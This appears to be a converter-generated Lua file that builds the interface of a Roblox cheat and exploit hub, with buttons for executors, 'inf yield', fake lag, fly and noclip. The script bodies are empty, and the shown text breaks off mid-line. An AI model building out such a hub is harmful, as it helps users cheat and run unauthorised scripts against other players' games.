local G2L = {}; -- StarterGui.ScreenGui G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.ScreenGui.Frame3 G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["Visible"] = false; G2L["2"]["BorderSizePixel"] = 3; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["Size"] = UDim2.new(0, 825, 0, 403); G2L["2"]["Position"] = UDim2.new(0.17835, 0, 0.20455, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["2"]["Name"] = [[Frame3]]; G2L["2"]["BackgroundTransparency"] = 0.05; -- StarterGui.ScreenGui.Frame3.DraggableFrame G2L["3"] = Instance.new("LocalScript", G2L["2"]); G2L["3"]["Name"] = [[DraggableFrame]]; -- StarterGui.ScreenGui.Frame3.TextLabel G2L["4"] = Instance.new("TextLabel", G2L["2"]); G2L["4"]["TextWrapped"] = true; G2L["4"]["BorderSizePixel"] = 0; G2L["4"]["TextSize"] = 14; G2L["4"]["TextScaled"] = true; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4"]["TextColor3"] = Color3.fromRGB(126, 33, 255); G2L["4"]["BackgroundTransparency"] = 1; G2L["4"]["Size"] = UDim2.new(0, 825, 0, 50); G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["Text"] = [[C00lberse x luisgameriscool gui]]; -- StarterGui.ScreenGui.Frame3.TextButton G2L["5"] = Instance.new("TextButton", G2L["2"]); G2L["5"]["BorderSizePixel"] = 0; G2L["5"]["TextSize"] = 14; G2L["5"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["BackgroundColor3"] = Color3.fromRGB(162, 48, 255); G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["Text"] = [[BACK]]; G2L["5"]["Position"] = UDim2.new(0, 0, 0.87593, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["6"] = Instance.new("LocalScript", G2L["5"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["7"] = Instance.new("TextButton", G2L["2"]); G2L["7"]["TextWrapped"] = true; G2L["7"]["BorderSizePixel"] = 2; G2L["7"]["TextSize"] = 14; G2L["7"]["TextScaled"] = true; G2L["7"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["7"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7"]["Size"] = UDim2.new(0, 38, 0, 39); G2L["7"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["7"]["Text"] = [[X]]; G2L["7"]["Position"] = UDim2.new(0.95394, 0, 0, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["8"] = Instance.new("LocalScript", G2L["7"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["9"] = Instance.new("TextButton", G2L["2"]); G2L["9"]["TextWrapped"] = true; G2L["9"]["BorderSizePixel"] = 2; G2L["9"]["TextSize"] = 14; G2L["9"]["TextScaled"] = true; G2L["9"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["9"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["9"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["9"]["Text"] = [[inf yield]]; G2L["9"]["Position"] = UDim2.new(0.05212, 0, 0.19107, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["a"] = Instance.new("LocalScript", G2L["9"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["b"] = Instance.new("TextButton", G2L["2"]); G2L["b"]["TextWrapped"] = true; G2L["b"]["BorderSizePixel"] = 2; G2L["b"]["TextSize"] = 14; G2L["b"]["TextScaled"] = true; G2L["b"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["b"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["b"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["b"]["Text"] = [[c00lclan]]; G2L["b"]["Position"] = UDim2.new(0.37818, 0, 0.19107, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["c"] = Instance.new("LocalScript", G2L["b"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["d"] = Instance.new("TextButton", G2L["2"]); G2L["d"]["TextWrapped"] = true; G2L["d"]["BorderSizePixel"] = 2; G2L["d"]["TextSize"] = 14; G2L["d"]["TextScaled"] = true; G2L["d"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["d"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["d"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["d"]["Text"] = [[lucas gui]]; G2L["d"]["Position"] = UDim2.new(0.71152, 0, 0.19107, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["e"] = Instance.new("LocalScript", G2L["d"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["f"] = Instance.new("TextButton", G2L["2"]); G2L["f"]["TextWrapped"] = true; G2L["f"]["BorderSizePixel"] = 2; G2L["f"]["TextSize"] = 14; G2L["f"]["TextScaled"] = true; G2L["f"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["f"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["f"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["f"]["Text"] = [[noober gui]]; G2L["f"]["Position"] = UDim2.new(0.05212, 0, 0.40447, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["10"] = Instance.new("LocalScript", G2L["f"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["11"] = Instance.new("TextButton", G2L["2"]); G2L["11"]["TextWrapped"] = true; G2L["11"]["BorderSizePixel"] = 2; G2L["11"]["TextSize"] = 14; G2L["11"]["TextScaled"] = true; G2L["11"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["11"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["11"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["11"]["Text"] = [[lucas gui v2]]; G2L["11"]["Position"] = UDim2.new(0.37818, 0, 0.40447, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["12"] = Instance.new("LocalScript", G2L["11"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["13"] = Instance.new("TextButton", G2L["2"]); G2L["13"]["TextWrapped"] = true; G2L["13"]["BorderSizePixel"] = 2; G2L["13"]["TextSize"] = 14; G2L["13"]["TextScaled"] = true; G2L["13"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["13"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["13"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["13"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["13"]["Text"] = [[zncgui]]; G2L["13"]["Position"] = UDim2.new(0.71152, 0, 0.40447, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["14"] = Instance.new("LocalScript", G2L["13"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["15"] = Instance.new("TextButton", G2L["2"]); G2L["15"]["TextWrapped"] = true; G2L["15"]["BorderSizePixel"] = 2; G2L["15"]["TextSize"] = 14; G2L["15"]["TextScaled"] = true; G2L["15"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["15"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["15"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["15"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["15"]["Text"] = [[ss executor]]; G2L["15"]["Position"] = UDim2.new(0.05212, 0, 0.62531, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["16"] = Instance.new("LocalScript", G2L["15"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["17"] = Instance.new("TextButton", G2L["2"]); G2L["17"]["TextWrapped"] = true; G2L["17"]["BorderSizePixel"] = 2; G2L["17"]["TextSize"] = 14; G2L["17"]["TextScaled"] = true; G2L["17"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["17"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["17"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["17"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["17"]["Text"] = [[free emotes]]; G2L["17"]["Position"] = UDim2.new(0.37818, 0, 0.62531, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["18"] = Instance.new("LocalScript", G2L["17"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["19"] = Instance.new("TextButton", G2L["2"]); G2L["19"]["TextWrapped"] = true; G2L["19"]["BorderSizePixel"] = 2; G2L["19"]["TextSize"] = 14; G2L["19"]["TextScaled"] = true; G2L["19"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["19"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["19"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["19"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["19"]["Text"] = [[telekinesis]]; G2L["19"]["Position"] = UDim2.new(0.71152, 0, 0.62531, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["1a"] = Instance.new("LocalScript", G2L["19"]); -- StarterGui.ScreenGui.Frame3.TextButton G2L["1b"] = Instance.new("TextButton", G2L["2"]); G2L["1b"]["BorderSizePixel"] = 0; G2L["1b"]["TextSize"] = 14; G2L["1b"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(162, 48, 255); G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["1b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b"]["Text"] = [[NEXT]]; G2L["1b"]["Position"] = UDim2.new(0.75758, 0, 0.87593, 0); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript G2L["1c"] = Instance.new("LocalScript", G2L["1b"]); -- StarterGui.ScreenGui.Frame2 G2L["1d"] = Instance.new("Frame", G2L["1"]); G2L["1d"]["Visible"] = false; G2L["1d"]["BorderSizePixel"] = 0; G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["Size"] = UDim2.new(0, 321, 0, 259); G2L["1d"]["Position"] = UDim2.new(0.56465, 0, 0.28624, 0); G2L["1d"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["1d"]["Name"] = [[Frame2]]; G2L["1d"]["BackgroundTransparency"] = 0.05; -- StarterGui.ScreenGui.Frame2.DraggableFrame G2L["1e"] = Instance.new("LocalScript", G2L["1d"]); G2L["1e"]["Name"] = [[DraggableFrame]]; -- StarterGui.ScreenGui.Frame2.TextButton G2L["1f"] = Instance.new("TextButton", G2L["1d"]); G2L["1f"]["TextWrapped"] = true; G2L["1f"]["BorderSizePixel"] = 2; G2L["1f"]["TextSize"] = 14; G2L["1f"]["TextScaled"] = true; G2L["1f"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f"]["Size"] = UDim2.new(0, 38, 0, 39); G2L["1f"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["1f"]["Text"] = [[X]]; G2L["1f"]["Position"] = UDim2.new(0.87917, 0, 0, 0); -- StarterGui.ScreenGui.Frame2.TextButton.LocalScript G2L["20"] = Instance.new("LocalScript", G2L["1f"]); -- StarterGui.ScreenGui.Frame2.TextLabel G2L["21"] = Instance.new("TextLabel", G2L["1d"]); G2L["21"]["TextWrapped"] = true; G2L["21"]["BorderSizePixel"] = 0; G2L["21"]["TextSize"] = 14; G2L["21"]["TextScaled"] = true; G2L["21"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["21"]["BackgroundTransparency"] = 1; G2L["21"]["RichText"] = true; G2L["21"]["Size"] = UDim2.new(0, 281, 0, 179); G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["Text"] = [[Btw noober if u somehow see this and if anyone sees this i worked at the gui to and its secret so shhhhhhhhhhhhh and its me Lucas_cubing10 ( znc_13 )]]; G2L["21"]["Position"] = UDim2.new(0.06231, 0, 0.20077, 0); -- StarterGui.ScreenGui.Frame2.ImageLabel G2L["22"] = Instance.new("ImageLabel", G2L["1d"]); G2L["22"]["BorderSizePixel"] = 0; G2L["22"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["22"]["Image"] = [[rbxassetid://124868710717730]]; G2L["22"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["22"]["BackgroundTransparency"] = 1; G2L["22"]["Position"] = UDim2.new(0.20724, 0, -0.47595, 0); -- StarterGui.ScreenGui.Frame1 G2L["23"] = Instance.new("Frame", G2L["1"]); G2L["23"]["BorderSizePixel"] = 3; G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["Size"] = UDim2.new(0, 825, 0, 403); G2L["23"]["Position"] = UDim2.new(0.17835, 0, 0.20455, 0); G2L["23"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["23"]["Name"] = [[Frame1]]; G2L["23"]["BackgroundTransparency"] = 0.05; -- StarterGui.ScreenGui.Frame1.TextButton G2L["24"] = Instance.new("TextButton", G2L["23"]); G2L["24"]["TextWrapped"] = true; G2L["24"]["BorderSizePixel"] = 2; G2L["24"]["TextSize"] = 14; G2L["24"]["TextScaled"] = true; G2L["24"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["24"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["24"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["24"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["24"]["Text"] = [[c00l executer]]; G2L["24"]["Position"] = UDim2.new(0.05939, 0, 0.14888, 0); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["25"] = Instance.new("LocalScript", G2L["24"]); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["26"] = Instance.new("LocalScript", G2L["24"]); -- StarterGui.ScreenGui.Frame1.TextButton G2L["27"] = Instance.new("TextButton", G2L["23"]); G2L["27"]["TextWrapped"] = true; G2L["27"]["BorderSizePixel"] = 2; G2L["27"]["TextSize"] = 14; G2L["27"]["TextScaled"] = true; G2L["27"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["27"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["27"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["27"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["27"]["Text"] = [[randum executer]]; G2L["27"]["Position"] = UDim2.new(0.37091, 0, 0.14888, 0); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["28"] = Instance.new("LocalScript", G2L["27"]); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["29"] = Instance.new("LocalScript", G2L["27"]); -- StarterGui.ScreenGui.Frame1.TextButton G2L["2a"] = Instance.new("TextButton", G2L["23"]); G2L["2a"]["TextWrapped"] = true; G2L["2a"]["BorderSizePixel"] = 2; G2L["2a"]["TextSize"] = 14; G2L["2a"]["TextScaled"] = true; G2L["2a"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2a"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["2a"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["2a"]["Text"] = [[1x1x1x1 gui]]; G2L["2a"]["Position"] = UDim2.new(0.69818, 0, 0.14888, 0); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["2b"] = Instance.new("LocalScript", G2L["2a"]); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["2c"] = Instance.new("LocalScript", G2L["2a"]); -- StarterGui.ScreenGui.Frame1.TextLabel G2L["2d"] = Instance.new("TextLabel", G2L["23"]); G2L["2d"]["TextWrapped"] = true; G2L["2d"]["BorderSizePixel"] = 0; G2L["2d"]["TextSize"] = 14; G2L["2d"]["TextScaled"] = true; G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d"]["TextColor3"] = Color3.fromRGB(126, 33, 255); G2L["2d"]["BackgroundTransparency"] = 1; G2L["2d"]["Size"] = UDim2.new(0, 825, 0, 50); G2L["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d"]["Text"] = [[C00lberse x luisgameriscool gui]]; -- StarterGui.ScreenGui.Frame1.TextButton G2L["2e"] = Instance.new("TextButton", G2L["23"]); G2L["2e"]["TextWrapped"] = true; G2L["2e"]["BorderSizePixel"] = 2; G2L["2e"]["TextSize"] = 14; G2L["2e"]["TextScaled"] = true; G2L["2e"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2e"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["2e"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["2e"]["Text"] = [[feke lag]]; G2L["2e"]["Position"] = UDim2.new(0.05939, 0, 0.41439, 0); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["2f"] = Instance.new("LocalScript", G2L["2e"]); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["30"] = Instance.new("LocalScript", G2L["2e"]); -- StarterGui.ScreenGui.Frame1.TextButton G2L["31"] = Instance.new("TextButton", G2L["23"]); G2L["31"]["TextWrapped"] = true; G2L["31"]["BorderSizePixel"] = 2; G2L["31"]["TextSize"] = 14; G2L["31"]["TextScaled"] = true; G2L["31"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["31"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["31"]["Size"] = UDim2.new(0, 38, 0, 39); G2L["31"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["31"]["Text"] = [[X]]; G2L["31"]["Position"] = UDim2.new(0.95394, 0, 0, 0); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["32"] = Instance.new("LocalScript", G2L["31"]); -- StarterGui.ScreenGui.Frame1.TextButton G2L["33"] = Instance.new("TextButton", G2L["23"]); G2L["33"]["TextWrapped"] = true; G2L["33"]["BorderSizePixel"] = 2; G2L["33"]["TextSize"] = 14; G2L["33"]["TextScaled"] = true; G2L["33"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["33"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["33"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["33"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["33"]["Text"] = [[zero grevety ;)]]; G2L["33"]["Position"] = UDim2.new(0.39879, 0, 0.41439, 0); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["34"] = Instance.new("LocalScript", G2L["33"]); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["35"] = Instance.new("LocalScript", G2L["33"]); -- StarterGui.ScreenGui.Frame1.TextButton G2L["36"] = Instance.new("TextButton", G2L["23"]); G2L["36"]["TextWrapped"] = true; G2L["36"]["BorderSizePixel"] = 2; G2L["36"]["TextSize"] = 14; G2L["36"]["TextScaled"] = true; G2L["36"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["36"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["36"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["36"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["36"]["Text"] = [[quirky cmd]]; G2L["36"]["Position"] = UDim2.new(0.69818, 0, 0.41439, 0); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["37"] = Instance.new("LocalScript", G2L["36"]); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["38"] = Instance.new("LocalScript", G2L["36"]); -- StarterGui.ScreenGui.Frame1.TextButton G2L["39"] = Instance.new("TextButton", G2L["23"]); G2L["39"]["BorderSizePixel"] = 0; G2L["39"]["TextSize"] = 14; G2L["39"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["BackgroundColor3"] = Color3.fromRGB(162, 48, 255); G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["39"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["Text"] = [[NEXT]]; G2L["39"]["Position"] = UDim2.new(0.75758, 0, 0.87593, 0); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["3a"] = Instance.new("LocalScript", G2L["39"]); -- StarterGui.ScreenGui.Frame1.TextButton G2L["3b"] = Instance.new("TextButton", G2L["23"]); G2L["3b"]["BorderSizePixel"] = 0; G2L["3b"]["TextSize"] = 14; G2L["3b"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3b"]["Size"] = UDim2.new(0, 25, 0, 24); G2L["3b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["Text"] = [[]]; G2L["3b"]["Position"] = UDim2.new(0, 0, 0.94045, 0); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript G2L["3c"] = Instance.new("LocalScript", G2L["3b"]); -- StarterGui.ScreenGui.Frame1.DraggableFrame G2L["3d"] = Instance.new("LocalScript", G2L["23"]); G2L["3d"]["Name"] = [[DraggableFrame]]; -- StarterGui.ScreenGui.Frame1.TextButton G2L["3e"] = Instance.new("TextButton", G2L["23"]); G2L["3e"]["TextWrapped"] = true; G2L["3e"]["BorderSizePixel"] = 2; G2L["3e"]["TextSize"] = 14; G2L["3e"]["TextScaled"] = true; G2L["3e"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3e"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["3e"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["3e"]["Text"] = [[FLY]]; G2L["3e"]["Position"] = UDim2.new(0.0303, 0, 0.8536, 0); -- StarterGui.ScreenGui.Frame1.TextButton.FlyToggleLocal G2L["3f"] = Instance.new("LocalScript", G2L["3e"]); G2L["3f"]["Name"] = [[FlyToggleLocal]]; -- StarterGui.ScreenGui.Frame1.TextButton G2L["40"] = Instance.new("TextButton", G2L["23"]); G2L["40"]["TextWrapped"] = true; G2L["40"]["BorderSizePixel"] = 2; G2L["40"]["TextSize"] = 14; G2L["40"]["TextScaled"] = true; G2L["40"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["40"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["40"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["40"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["40"]["Text"] = [[NOCLIP]]; G2L["40"]["Position"] = UDim2.new(0.30182, 0, 0.8536, 0); -- StarterGui.ScreenGui.Frame1.TextButton.NoclipToggleLocal G2L["41"] = Instance.new("LocalScript", G2L["40"]); G2L["41"]["Name"] = [[NoclipToggleLocal]]; -- StarterGui.ScreenGui.Frame4 G2L["42"] = Instance.new("Frame", G2L["1"]); G2L["42"]["Visible"] = false; G2L["42"]["BorderSizePixel"] = 3; G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["42"]["Size"] = UDim2.new(0, 825, 0, 403); G2L["42"]["Position"] = UDim2.new(0.17835, 0, 0.20455, 0); G2L["42"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["42"]["Name"] = [[Frame4]]; G2L["42"]["BackgroundTransparency"] = 0.05; -- StarterGui.ScreenGui.Frame4.DraggableFrame G2L["43"] = Instance.new("LocalScript", G2L["42"]); G2L["43"]["Name"] = [[DraggableFrame]]; -- StarterGui.ScreenGui.Frame4.TextLabel G2L["44"] = Instance.new("TextLabel", G2L["42"]); G2L["44"]["TextWrapped"] = true; G2L["44"]["BorderSizePixel"] = 0; G2L["44"]["TextSize"] = 14; G2L["44"]["TextScaled"] = true; G2L["44"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["44"]["TextColor3"] = Color3.fromRGB(126, 33, 255); G2L["44"]["BackgroundTransparency"] = 1; G2L["44"]["Size"] = UDim2.new(0, 825, 0, 50); G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["Text"] = [[executor]]; -- StarterGui.ScreenGui.Frame4.TextButton G2L["45"] = Instance.new("TextButton", G2L["42"]); G2L["45"]["TextWrapped"] = true; G2L["45"]["BorderSizePixel"] = 2; G2L["45"]["TextSize"] = 14; G2L["45"]["TextScaled"] = true; G2L["45"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["45"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["45"]["FontFace"] = 